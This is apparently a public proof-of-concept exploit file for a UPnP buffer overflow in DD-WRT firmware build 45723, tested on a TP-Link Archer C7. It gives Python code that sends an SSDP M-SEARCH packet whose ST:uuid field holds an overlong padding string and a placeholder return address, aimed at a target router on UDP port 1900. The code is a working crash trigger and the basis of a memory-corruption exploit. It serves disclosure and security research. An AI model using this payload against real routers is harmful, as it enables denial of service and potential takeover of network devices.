# Exploit Title: DD-WRT 45723 - UPNP Buffer Overflow (PoC) # Date: 24.03.2021 # Exploit Author: Selim Enes 'Enesdex' Karaduman # Vendor Homepage: https://dd-wrt.com/ # Software Link: https://download1.dd-wrt.com/dd-wrtv2/downloads/betas/2021/ # Version: 45723 or prior # Tested on: TP-Link Archer C7 # https://ssd-disclosure.com/ssd-advisory-dd-wrt-upnp-buffer-overflow/ import socket target_ip = "192.168.2.1" # IP Address of Target off = "D"*164 ret_addr = "AAAA" payload = off + ret_addr packet = \ 'M-SEARCH * HTTP/1.1\r\n' \ 'HOST:239.255.255.250:1900\r\n' \ 'ST:uuid:'+payload+'\r\n' \ 'MX:2\r\n' \ 'MAN:"ssdp:discover"\r\n' \ '\r\n' s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) s.sendto(packet, (target_ip, 1900) )